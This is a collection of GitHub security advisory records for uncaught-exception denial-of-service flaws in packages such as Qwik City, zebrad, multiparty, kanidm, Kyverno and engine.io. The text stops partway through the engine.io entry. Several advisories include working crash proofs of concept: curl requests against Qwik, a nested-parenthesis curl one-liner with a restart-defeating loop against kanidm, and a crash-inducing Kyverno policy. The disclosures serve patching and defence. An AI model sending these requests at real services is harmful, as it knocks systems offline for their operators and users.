CWE-248

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@builder.io/qwik-city"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.13.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-53620"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-07-09T18:10:29Z",
    "nvd_published_at": "2025-07-09T19:15:24Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nPossibility to craft a request that will crash the Qwik Server in the default configuration.\n\n### Details\n\nWhen a Qwik Server Action QRL is executed it dynamically load the file containing the symbol. When an invalid qfunc is sent, the server does not handle the thrown error. The error then causes Node JS to exit.\n\n### PoC\n\n 1. Setup a Qwik Project `pnpm create qwik@latest`\n 2. Start the Qwik Server using `pnpm run preview`\n 3. Execute the following curl command to crash the instance\n```bash\ncurl --location \u0027http://localhost:4173/?qfunc=PPXYallGsCE\u0027 \\\n--header \u0027Content-Type: application/qwik-json\u0027 \\\n--header \u0027X-Qrl: PPXYallGsCE\u0027 \\\n--data \u0027{\"_entry\":\"2\",\"_objs\":[\"\\u0002_#s_PPXYallGsCE\",1,[\"0\",\"1\"]]}\u0027\n```\n\nHere the `qfunc` query parameter, `X-Qrl` header and payload need to have the same qrl.\n\nThe Qwik Server will then crash with the message\n\n```\nqrl s_PPXYallGsCE failed to load Error: Dynamic require of \"_.js\" is not supported\n    at file:///home/michele/Code/qwik/server/entry.preview.js:32:199\n    at Object.importSymbol (file:///home/michele/Code/qwik/server/entry.preview.js:32:776)\n    at $ (file:///home/michele/Code/qwik/server/entry.preview.js:26:3064)\n    at d (file:///home/michele/Code/qwik/server/entry.preview.js:26:3274)\n    at file:///home/michele/Code/qwik/server/entry.preview.js:26:3311\n    at Object.a (file:///home/michele/Code/qwik/server/entry.preview.js:26:2566)\n    at oc (file:///home/michele/Code/qwik/server/entry.preview.js:16:1562)\n    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)\n    at async Object.m [as next] (file:///home/michele/Code/qwik/server/entry.preview.js:15:7000)\n    at async Ls (file:///home/michele/Code/qwik/server/entry.preview.js:15:5559)\nnode:internal/process/promises:289\n            triggerUncaughtException(err, true /* fromPromise */);\n            ^\n\nError: Dynamic require of \"_.js\" is not supported\n    at file:///home/michele/Code/qwik/server/entry.preview.js:32:199\n    at Object.importSymbol (file:///home/michele/Code/qwik/server/entry.preview.js:32:776)\n    at $ (file:///home/michele/Code/qwik/server/entry.preview.js:26:3064)\n    at d (file:///home/michele/Code/qwik/server/entry.preview.js:26:3274)\n    at file:///home/michele/Code/qwik/server/entry.preview.js:26:3311\n    at Object.a (file:///home/michele/Code/qwik/server/entry.preview.js:26:2566)\n    at oc (file:///home/michele/Code/qwik/server/entry.preview.js:16:1562)\n    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)\n    at async Object.m [as next] (file:///home/michele/Code/qwik/server/entry.preview.js:15:7000)\n    at async Ls (file:///home/michele/Code/qwik/server/entry.preview.js:15:5559)\n\nNode.js v21.7.2\n```\n\n\nThe same can also be repeated running Qwik in production using express.\n\n 1. Setup a Qwik Project `pnpm create qwik@latest`\n 2. Install the express middleware `pnpm run qwik add express`\n 3. Build the qwik app using `pnpm run build`\n 4. Start the server using `pnpm run serve`\n 5. Execute the following curl command to crash the instance\n```bash\ncurl --location \u0027http://localhost:3000/?qfunc=PPXYallGsCE\u0027 \\\n--header \u0027Content-Type: application/qwik-json\u0027 \\\n--header \u0027X-Qrl: PPXYallGsCE\u0027 \\\n--data \u0027{\"_entry\":\"2\",\"_objs\":[\"\\u0002_#s_PPXYallGsCE\",1,[\"0\",\"1\"]]}\u0027\n```\n\n### Impact\n\nAny Qwik Server instance running the default configuration can be crashed. Using a simple loop to send this HTTP request will cause permanent down time of the service as it takes a few seconds for an instance to restart.\n\nThere is also the issue that this can happen without a malicious attacker.\nWhen a Qwik Application is deployed through a CDN and an old instance is still loaded on some Client, like through an inactive Tab. Once that user returns to the old Version and performs an action that runs a removed qfunc the server will crash.",
  "id": "GHSA-qr9h-j6xg-2j72",
  "modified": "2025-07-09T22:37:21Z",
  "published": "2025-07-09T18:10:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/QwikDev/qwik/security/advisories/GHSA-qr9h-j6xg-2j72"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53620"
    },
    {
      "type": "WEB",
      "url": "https://github.com/QwikDev/qwik/pull/7342"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/QwikDev/qwik"
    },
    {
      "type": "WEB",
      "url": "https://github.com/QwikDev/qwik/releases/tag/%40builder.io%2Fqwik%401.13.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Qwik\u0027s unhandled exception vulnerabilty can cause server crashes from malicious requests"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.0.0"
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "zebra-rpc"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.4.1"
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "zebrad"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52731"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-02T19:28:03Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Am I affected\n\nYou are affected if:\n\n1. You run `zebrad` up to and including `v4.4.1`.\n2. Your `zebrad.toml` sets `rpc.listen_addr` to a TCP address (RPC server is enabled).\n3. An attacker can authenticate to the RPC endpoint. With the default `enable_cookie_auth = true`, this requires the attacker to read the `.cookie` file. With `enable_cookie_auth = false`, any network client reaching the RPC port can trigger it.\n\n### Summary\n\nThe `getblocktemplate` RPC handler panics when parsing a `LongPollId` parameter that contains non-ASCII (multi-byte UTF-8) characters. The handler performs byte-index string slicing on the user-supplied string, which panics in Rust when a byte index falls within a multi-byte character boundary. Because Zebra\u0027s release profile sets `panic = \"abort\"`, the panic terminates the entire node process.\n\n### Details\n\nThe `getblocktemplate` handler receives a user-supplied `LongPollId` string and slices it at fixed byte offsets to extract the encoded tip hash and tip height. When the string contains multi-byte UTF-8 characters, a byte-index slice can land in the middle of a character, causing Rust\u0027s `str` indexing to panic with \"byte index is not a char boundary.\"\n\nUnder the `panic = \"abort\"` release profile, this panic terminates the entire `zebrad` process rather than just the RPC task.\n\n### Patches\n\nzebra-rpc 8.0.0 and zebrad 4.5.0.\n\nReplace byte-index string slicing with character-aware parsing or validate that the `LongPollId` string contains only ASCII characters before slicing.\n\n### Workarounds\n\n- Disable the RPC server by removing `rpc.listen_addr` from `zebrad.toml`.\n- Ensure `enable_cookie_auth = true` (the default) and restrict filesystem access to the `.cookie` file.\n- Place a reverse proxy in front of the RPC port that validates `LongPollId` parameters are ASCII-only before forwarding.\n\n### Impact\n\nA single authenticated RPC request terminates the `zebrad` process. Same impact profile as GHSA-c8w6-x74f-vmg3: repeatable on restart, affects mining pools and infrastructure that forward `getblocktemplate` calls.\n\n### Credit\n\nReported by `@sangsoo-osec` via a private GitHub Security Advisory submission.",
  "id": "GHSA-qv2r-v3mx-f4pf",
  "modified": "2026-07-02T19:28:03Z",
  "published": "2026-07-02T19:28:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ZcashFoundation/zebra/security/advisories/GHSA-qv2r-v3mx-f4pf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ZcashFoundation/zebra"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ZcashFoundation/zebra/blob/d4cd662c716382f6397d2a730148025a1ca79fec/Cargo.toml#L305"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "zebrad has full node denial of service via non-ASCII LongPollId in getblocktemplate"
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-20637"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248",
      "CWE-754"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-03T04:15:08Z",
    "severity": "HIGH"
  },
  "details": "In network HW, there is a possible system hang due to an uncaught exception. This could lead to remote denial of service with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: WCNCR00399035; Issue ID: MSV-2380.",
  "id": "GHSA-qwc4-4mwx-cwrr",
  "modified": "2025-02-03T18:30:41Z",
  "published": "2025-02-03T06:30:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-20637"
    },
    {
      "type": "WEB",
      "url": "https://corp.mediatek.com/product-security-bulletin/February-2025"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "multiparty"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-8161"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-248"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-18T17:35:01Z",
    "nvd_published_at": "2026-05-12T10:16:48Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nmultiparty@4.2.3 and lower versions are vulnerable to denial of service via uncaught exception. By sending a `multipart/form-data` request with a field name that collides with an inherited `Object.prototype` property (e.g., `__proto__`, `constructor`, `toString`), the parser invokes `.push()` on the inherited prototype value rather than an array, throwing a `TypeError` that propagates as an uncaught exception and crashes the process. Any service accepting multipart uploads via multiparty is affected.\n\n### Patches\n\nUsers should upgrade to multiparty@4.3.0 or higher.\n\n### Workarounds\n\nNone.",
  "id": "GHSA-qxch-whhj-8956",
  "modified": "2026-05-18T17:35:01Z",
  "published": "2026-05-18T17:35:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pillarjs/multiparty/security/advisories/GHSA-qxch-whhj-8956"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8161"
    },
    {
      "type": "WEB",
      "url": "https://cna.openjsf.org/security-advisories.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pillarjs/multiparty"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pillarjs/multiparty/releases/tag/v4.3.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "multiparty: Denial of Service via Prototype Pollution leads to Uncaught Exception"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "camaleon_cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.1"
            },
            {
              "fixed": "2.6.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-25971"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-01-24T15:55:07Z",
    "nvd_published_at": "2021-10-20T12:15:00Z",
    "severity": "MODERATE"
  },
  "details": "In Camaleon CMS, versions 2.0.1 through 2.6.0 are vulnerable to an Uncaught Exception. The app\u0027s media upload feature crashes permanently when an attacker with a low privileged access uploads a specially crafted .svg file.",
  "id": "GHSA-r2w2-h6r8-3r53",
  "modified": "2023-01-24T15:55:07Z",
  "published": "2022-05-24T19:18:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-25971"
    },
    {
      "type": "WEB",
      "url": "https://github.com/owen2345/camaleon-cms/commit/ab89584ab32b98a0af3d711e3f508a1d048147d2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/owen2345/camaleon-cms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/camaleon_cms/CVE-2021-25971.yml"
    },
    {
      "type": "WEB",
      "url": "https://www.whitesourcesoftware.com/vulnerability-database/CVE-2021-25971"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Camaleon CMS vulnerable to Uncaught Exception"
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-56946"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-03T20:15:33Z",
    "severity": "MODERATE"
  },
  "details": "Denial of service in DNS-over-QUIC in Technitium DNS Server \u003c= v13.2.2 allows remote attackers to permanently stop the server from accepting new DNS-over-QUIC connections by triggering unhandled exceptions in listener threads.",
  "id": "GHSA-r58r-w68f-vcxj",
  "modified": "2025-02-03T21:31:49Z",
  "published": "2025-02-03T21:31:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-56946"
    },
    {
      "type": "WEB",
      "url": "https://github.com/TechnitiumSoftware/DnsServer/commit/a7d1cfb6e836798ef9171677bf8919cf99d9dcb0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/TechnitiumSoftware/DnsServer/blob/master/CHANGELOG.md#version-133"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.9.2"
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "scim_proto"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.9.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.9.2"
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "kanidm_proto"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.9.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46689"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248",
      "CWE-400",
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T23:38:49Z",
    "nvd_published_at": "2026-06-10T22:17:00Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA single unauthenticated `GET` to any `/scim/v1/...` endpoint with a `?filter=` query string of a few thousand nested parentheses (\u2248 4\u201312 KB) drives the recursive-descent PEG parser past the worker thread\u0027s stack guard page. Rust responds to stack overflow with `std::process::abort()` \u2014 the entire `kanidmd` process exits. The parse runs inside axum\u0027s `Query\u003cScimEntryGetQuery\u003e` extractor, before any handler body and therefore before any ACL check.\n\n### Details\n\nThe SCIM filter grammar recurses on `(` and `not (` with no depth bound.\n\n**`proto/src/scim_v1/mod.rs:263-433`** \u2014 `peg::parser! { grammar scimfilter() ... }`:\n\n```rust\n// line 281\n\"not\" separator()+ \"(\" e:parse() \")\" { ScimFilter::Not(Box::new(e)) }\n// line 293\n\"(\" e:parse() \")\" { e }\n```\n\nBoth rules re-enter `parse()` without a depth counter.\n\n**`proto/src/scim_v1/mod.rs:442-447`** \u2014 `impl FromStr for ScimFilter` calls `scimfilter::parse(input)` directly on the raw string with no length or depth pre-check.\n\n**`proto/src/scim_v1/mod.rs:80-81`** \u2014 `ScimEntryGetQuery.filter` is `#[serde_as(as = \"Option\u003cDisplayFromStr\u003e\")]`, so deserialising the query struct invokes `ScimFilter::from_str` on attacker bytes.\n\n**Unauthenticated reachability** \u2014 nine handlers in `server/core/src/https/v1_scim.rs` (route table at lines 865-1029) take `Query\u003cScimEntryGetQuery\u003e` as an argument: `/scim/v1/Entry`, `/scim/v1/Entry/{id}`, `/scim/v1/Person/{id}`, `/scim/v1/Application`, `/scim/v1/Application/{id}`, `/scim/v1/Class`, `/scim/v1/Attribute`, `/scim/v1/Message`, `/scim/v1/Message/{id}`. The SCIM router is merged unconditionally for every server role (`server/core/src/https/mod.rs:312`).\n\nAxum extracts handler arguments before the handler body runs. The preceding `VerifiedClientInformation` extractor (`server/core/src/https/extractors/mod.rs:16-91`) always returns `Ok` (line 89) regardless of credentials; authorization is deferred to the handler body, which is never reached.\n\nThe existing semantic depth limit (`DEFAULT_LIMIT_FILTER_DEPTH_MAX = 12`, `server/lib/src/constants/mod.rs:212`) is enforced in `Filter::from_scim_ro` (`server/lib/src/filter.rs:786`) **after** the PEG parse has already produced an AST, so it cannot prevent the parser itself from blowing the stack.\n\nThe production daemon (`server/daemon/src/main.rs:735-744`) uses `new_multi_thread()` with default 2 MiB worker stacks; hyper\u0027s `max_buf_size` (~400 KiB) is not lowered (`server/core/src/https/mod.rs:708-727`), so a 12 KB URI is accepted.\n\nAn identical unbounded grammar exists in `libs/scim_proto/src/filter.rs:112-276` (not network-reachable, but should be fixed in the same patch).\n\n### PoC\n\n```sh\ncurl -sk \"https://idm.example.com/scim/v1/Application?filter=$(python3 -c \u0027print(\"(\"*3000+\"a+pr\"+\")\"*3000)\u0027)\"\n# \u2192 curl: (52) Empty reply from server\n# \u2192 server journal: \"fatal runtime error: stack overflow, aborting\", SIGABRT\n```\n\nRelease-build threshold measured at ~2 000 nesting levels / ~4 KB:\n\n```\n$ cargo test --release -p kanidm_proto --test scim_filter_depth -- --nocapture\nparens depth=1500 len=3004\n  -\u003e survived\nparens depth=2000 len=4004\n\nthread \u0027audit_scim_filter_nested_parens\u0027 has overflowed its stack\nfatal runtime error: stack overflow, aborting\n  (signal: 6, SIGABRT: process abort signal)\n```\n\nEnd-to-end against an in-process server via `kanidmd_testkit` (no authentication performed):\n\n```\nTestkit server setup complete - http://localhost:18080/\naudit_scim_dos: sending unauthenticated GET, url len = 12056\n\nthread \u0027...\u0027 has overflowed its stack\nfatal runtime error: stack overflow, aborting\n  (signal: 6, SIGABRT: process abort signal)\n```\n\n### Impact\n\nProcess-wide availability loss; no confidentiality or integrity impact.\n\n- **Unauthenticated**, default install, no feature flag required.\n- **Process abort, not task panic.** Stack overflow triggers libstd\u0027s guard-page handler, which calls `std::process::abort()`. tokio\u0027s per-task `catch_unwind` isolation does not apply to aborts. All in-flight HTTP requests, OAuth2/OIDC sessions, LDAP binds, and the web UI are terminated.\n- **Repeatable.** One ~12 KB GET per crash; a `while true; do curl ...; done` loop holds the service down indefinitely across supervisor restarts.\n- The 6 011-byte variant (`depth=3000`) fits under the nginx default `large_client_header_buffers` limit of 8 KB, so a typical reverse proxy does not mitigate.\n\n**Affected**: v1.7.0 through `master` @ edf50b9da.",
  "id": "GHSA-r5fr-9gmv-jggh",
  "modified": "2026-06-29T15:30:20Z",
  "published": "2026-05-06T23:38:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kanidm/kanidm/security/advisories/GHSA-r5fr-9gmv-jggh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46689"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kanidm/kanidm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kanidm/kanidm/releases/tag/v1.9.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "scim_proto and kanidm_proto have an authenticated process abort via SCIM filter stack exhaustion"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.14.1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/kyverno/kyverno"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.14.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-47281"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-248"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-07-22T14:24:19Z",
    "nvd_published_at": "2025-07-23T21:15:26Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nA Denial of Service (DoS) vulnerability exists in Kyverno due to improper handling of JMESPath variable substitutions. Attackers with permissions to create or update Kyverno policies can craft expressions using the `{{@}}` variable combined with a pipe and an invalid JMESPath function (e.g., `{{@ | non_existent_function }}`).\n\nThis leads to a `nil` value being substituted into the policy structure. Subsequent processing by internal functions, specifically `getValueAsStringMap`, which expect string values, results in a panic due to a type assertion failure (`interface {} is nil, not string`). This crashes Kyverno worker threads in the admission controller (and can lead to full admission controller unavailability in Enforce mode) and causes continuous crashes of the reports controller pod, leading to service degradation or unavailability.\"\n\n### Details\nThe vulnerability lies in the `getValueAsStringMap` function within `pkg/engine/wildcards/wildcards.go` (specifically around line 138):\n\n```go\nfunc getValueAsStringMap(key string, data interface{}) (string, map[string]string) {\n    // ...\n    valMap, ok := val.(map[string]interface{}) // val can be the map containing the nil value\n    // ...\n    for k, v := range valMap { // If valMap contains a key whose value is nil...\n        result[k] = v.(string) // PANIC: v.(string) on a nil interface{}\n    }\n    return patternKey, result\n}\n```\n\nWhen a policy contains a variable like `{{@ | foo}}` (where `foo` is not a defined JMESPath function), the JMESPath evaluation within Kyverno\u0027s variable substitution logic results in a `nil` value. This `nil` is then assigned to the corresponding field in the policy pattern (e.g., a label value).\n\nDuring policy processing, `ExpandInMetadata` calls `expandWildcardsInTag`, which in turn calls `getValueAsStringMap`. If the `data` argument to `getValueAsStringMap` (derived from the policy pattern) contains this `nil` value where a string is expected, the type assertion `v.(string)` panics when `v` is `nil`.\n\n### Proof of Concept (PoC)\n\nThis proof of concept consists of two phases. First a malicious policy is inserted with the default validation failure action, which is `Audit`. In this phase the reports controller will end up in a crash loop. The admission controller will print out a similar stack trace, but only a worker crashes. The admission controller process does not crash.\n\nIn the second phase the same policy is inserted with the `Enforce` validation failure action. In this scenario both admission controller and the reports controller end up in a crash loop. As the admission controller crashes on incoming admission requests, it effectively makes it impossible to deploy new resources.\n\nTested on Kyverno v1.14.1.\n\n1.  **Prerequisites**:\n    Kubernetes cluster with Kyverno installed. Attacker has permissions to create/update `ClusterPolicy` or `Policy` resources.\n\n2.  **Create a Malicious Policy**:\n    Apply the following `ClusterPolicy`:\n\n    ```yaml\n    apiVersion: kyverno.io/v1\n    kind: ClusterPolicy\n    metadata:\n        name: dos-via-jmespath-nil\n    spec:\n        rules:\n        - name: trigger-nil-panic\n          match:\n            any:\n            - resources:\n                kinds:\n                - Pod\n          validate:\n              message: \"DoS attempt via JMESPath nil substitution\"\n              pattern:\n                metadata:\n                  labels:\n                    # \u0027{{@ | non_existent_function}}\u0027 will result in a nil value for this label.\n                    # This nil value causes a panic in getValueAsStringMap.\n                    trigger_panic: \"{{@ | non_existent_function}}\"\n    ```\n\n3.  **Verify the policy status**:\n    Make sure the policy is ready.\n\n    ```bash\n    k get clusterpolicy dos-via-jmespath-nil\n    NAME                   ADMISSION   BACKGROUND   READY   AGE   MESSAGE\n    dos-via-jmespath-nil   true        true         True    24m   Ready\n    ```\n\n3.  **Trigger the Policy**:\n    Create any Pod in any namespace (if not further restricted by `match` or `exclude`):\n\n    ```bash\n    kubectl run test-pod-dos --image=nginx\n    ```\n\n4.  **Observe Crashes**:\n    *   Check Kyverno admission controller logs for worker panics (`interface conversion: interface {} is nil, not string`).\n    *   Check Kyverno reports controller logs; the pod crashes and restarts.\n    *   Stack trace available here (as a secret gist): https://gist.github.com/thevilledev/723392bad36020b82209262275434380\n\n5. **Reset**:\n   Delete the existing policy with `kubectl delete clusterpolicy dos-via-jmespath-nil` and delete\n   the test pod with `kubectl delete pod test-pod-dos`. Then apply the following:\n\n   ```yaml\n    apiVersion: kyverno.io/v1\n    kind: ClusterPolicy\n    metadata:\n        name: dos-via-jmespath-nil-enforce\n    spec:\n        validationFailureAction: Enforce # This has changed\n        rules:\n        - name: trigger-nil-panic\n          match:\n            any:\n            - resources:\n                kinds:\n                - Pod\n          validate:\n              message: \"DoS attempt via JMESPath nil substitution\"\n              pattern:\n                metadata:\n                  labels:\n                    # \u0027{{@ | non_existent_function}}\u0027 will result in a nil value for this label.\n                    # This nil value causes a panic in getValueAsStringMap.\n                    trigger_panic: \"{{@ | non_existent_function}}\"\n   ```\n\n6.  **Trigger the Policy (again)**:\n    Create any Pod in any namespace (if not further restricted by `match` or `exclude`):\n\n    ```bash\n    kubectl run test-pod-dos --image=nginx\n    ```\n\n    The command returns the following error:\n\n    ```bash\n    Error from server (InternalError): Internal error occurred: failed calling webhook \"validate.kyverno.svc-fail\": failed to call webhook: Post \"https://kyverno-svc.kyverno.svc:443/validate/fail?timeout=10s\": EOF\n    ```\n\n7.  **Observe Crashes**:\n    *   Check Kyverno admission controller logs for container panic. Notice that the whole controller has crashed, not just a worker.\n    *   Check Kyverno reports controller logs; the pod crashes and restarts.\n\n### Impact\n\nThis is a Denial of Service (DoS) vulnerability.\n\n*   **Affected Components**:\n    *   **Kyverno Admission Controller**: In Audit mode, individual worker threads handling admission requests will panic and terminate. While the main pod uses a worker pool and can recover by spawning new workers, repeated exploitation can degrade performance or lead to worker pool exhaustion. In Enforce mode, the whole controller panics. This makes all related admission requests fail.\n    *   **Kyverno Reports Controller**: The entire controller pod will panic and crash, requiring a restart by Kubernetes. This halts background policy scanning and report generation.\n\n*   **Conditions**: An attacker needs permissions to create or update Kyverno `Policy` or `ClusterPolicy` resources. This is often a privileged operation but may be delegated in some environments.\n*   **Consequences**: Degraded policy enforcement, inability to create/update resources, and loss of policy reporting visibility. \n\n### Mitigation\n\n- Add robust `nil` handling in `getValueAsStringMap`.\n- Look into adding graceful error handling in JMESPath substitution. Prevent evaluation errors (like undefined functions) from resulting in `nil` values.",
  "id": "GHSA-r5p3-955p-5ggq",
  "modified": "2025-07-23T22:15:03Z",
  "published": "2025-07-22T14:24:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kyverno/kyverno/security/advisories/GHSA-r5p3-955p-5ggq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47281"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kyverno/kyverno/commit/cbd7d4ca24de1c55396fc3295e9fc3215832be7c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kyverno/kyverno"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Kyverno\u0027s Improper JMESPath Variable Evaluation Lead to Denial of Service"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "engine.io"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "engine.io"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "6.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-41940"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-11-21T23:55:41Z",
    "nvd_published_at": "2022-11-22T01:15:00Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nA specially crafted HTTP request can trigger an uncaught exception on the Engine.IO server, thus killing the Node.js process.\n\n```\nevents.js:292\n      throw er; // Unhandled \u0027error\u0027 event\n      ^\n\nError: read ECONNRESET\n    at TCP.onStreamRead (internal/stream_base_commons.js:209:20)\nEmitted \u0027error\u0027 event on Socket instance at:\n    at emitErrorNT (internal/streams/destroy.js:106:8)\n    at emitErrorCloseNT (internal/streams/destroy.js:74:3)\n    at processTicksAndRejections (internal/process/task_queues.js:80:21) {\n  errno: -104,\n  code: \u0027ECONNRESET\u0027,\n  syscall: \u0027read\u0027\n}\n```\n\nThis impacts all the users of the [`engine.io`](https://www.npmjs.com/package/engine.io) package, including those who uses depending packages like [`socket.io`](https://www.npmjs.com/package/socket.io).\n\n### Patches\n\nA fix has been released today (2022/11/20):\n\n| Version range     | Fixed version |\n|-------------------|---------------|\n| `engine.io@3.x.y` | `3.6.1`       |\n| `engine.io@6.x.y` | 